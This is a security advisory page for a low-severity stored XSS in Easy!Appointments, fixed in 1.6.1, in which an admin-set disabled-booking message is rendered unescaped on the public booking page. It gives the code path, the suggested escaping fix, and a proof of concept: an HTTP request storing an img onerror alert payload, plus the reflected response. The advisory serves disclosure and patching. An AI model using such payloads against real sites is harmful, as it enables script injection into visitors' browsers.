alextselegidis/easyappointments · Easyappointments: Easy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS
Affects alextselegidis/easyappointmentsSource GCVE Database
Not known to be exploited · CVSS 2.6 Low : upgrade to 1.6.1 when convenient.
Data as of 10 Nov 2026, 20:05 UTC
- Patch
- Available – fixed in 1.6.1
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:N/I:L/A:NExploitation evidence
Disclosed: evidence found.
CVE published 14 Jul 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 10 Nov 2026.
What to do
Upgrade alextselegidis/easyappointments to 1.6.1.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| Packagistalextselegidis/easyappointments | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
## Summary Easy!Appointments allows administrators to define a custom "booking disabled" message through the booking settings page. That value is stored in the `disable_booking_message` setting via a rich-text editor and later passed directly to the public `booking_message` view without escaping or sanitization: ```php <p><?= vars('message_text') ?></p> ``` An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page. --- ## Root Cause — Step by Step Code Flow ### Step 1 — Rich text editor value stored without sanitization The booking settings page collects the message value from the Trumbowyg rich-text editor and submits it as raw HTML: ```javascript // assets/js/pages/booking_settings.js line 61-92 bookingSettings.push({ name: 'disable_booking_message', value: $disableBookingMessage.trumbowyg('html'), }); ``` ### Step 2 — Settings controller saves value verbatim The backend settings controller persists the submitted value without any HTML sanitization: ```php // application/controllers/Booking_settings.php line 76-104 $this->settings_model->save($setting); ``` ### Step 3 — Public booking controller forwards stored value to view When booking is disabled, the public booking controller loads the stored message and passes it directly to the view: ```php // application/controllers/Booking.php line 113-132 $disable_booking_message = setting('disable_booking_message'); html_vars([ 'message_text' => $disable_booking_message, ]); ``` ### Step 4 — Public view renders value without escaping The booking message view emits the value raw using PHP's short echo tag with no escaping: ```php // application/views/pages/booking_message.php line 10-12 <p><?= vars('message_text') ?></p> ``` No `htmlspecialchars()`, no sanitization, no template escaping is applied at any point in this rendering path. --- ## Proof of Concept **Step 1 — Store malicious disabled-booking message as admin:** ```http POST /index.php/booking_settings/save HTTP/1.1 Host: 127.0.0.1:18094 Cookie: <admin-session-cookie> Content-Type: application/x-www-form-urlencoded csrf_token=<token>&booking_settings[0][name]=disable_booking&booking_settings[0][value]=1&booking_settings[1][name]=disable_booking_message&booking_settings[1][value]=<img src=x onerror=alert("easyappointments xss by ashrexon")> ``` Response: `200 OK` — settings saved successfully **Step 2 — Unauthenticated visitor opens public booking page:** ```http GET / HTTP/1.1 Host: 127.0.0.1:18094 (no authentication) ``` **Observed response fragment:** ```html <p><img src=x onerror=alert("easyappointments xss by ashrexon")></p> ``` **Observed browser behavior:** `alert("easyappointments xss by ashrexon")` executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment. **Runtime verification result:** ``` admin login ok settings save ok payload reflected on public page PASS ``` --- ## Real World Impact Easy!Appointments is deployed as a public-facing appointment booking surface for businesses, clinics, and service providers. An administrator can abuse the disabled-booking message — a customer-facing feature intended for maintenance or holiday notices — to plant JavaScript that executes in every visitor's browser when the booking page is disabled. This can be used to: - Execute arbitrary JavaScript in visitor browsers on the trusted booking domain - Phish visitor credentials or personal information during booking downtime - Deface the public booking page during maintenance or outage windows - Redirect visitors to attacker-controlled sites --- ## Suggested Fix Escape the message value before rendering in the view: ```php // application/views/pages/booking_message.php <p><?= e(vars('message_text')) ?></p> ``` Alternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the `disable_booking_message` value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection. --- ## Reporter **Yash Shendge (ashrexon)** 2026-05-25
References
- github.com/alextselegidis/easyappointments/security/advisories/GHSA-996f-334j-67g7 (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-52838 (opens in a new tab)
- github.com/alextselegidis/easyappointments/commit/629a0415f54f75556c17f4f5d9c77fda1fdbdeae (opens in a new tab)
- github.com/alextselegidis/easyappointments (opens in a new tab)
- github.com/alextselegidis/easyappointments/releases/tag/1.6.0 (opens in a new tab)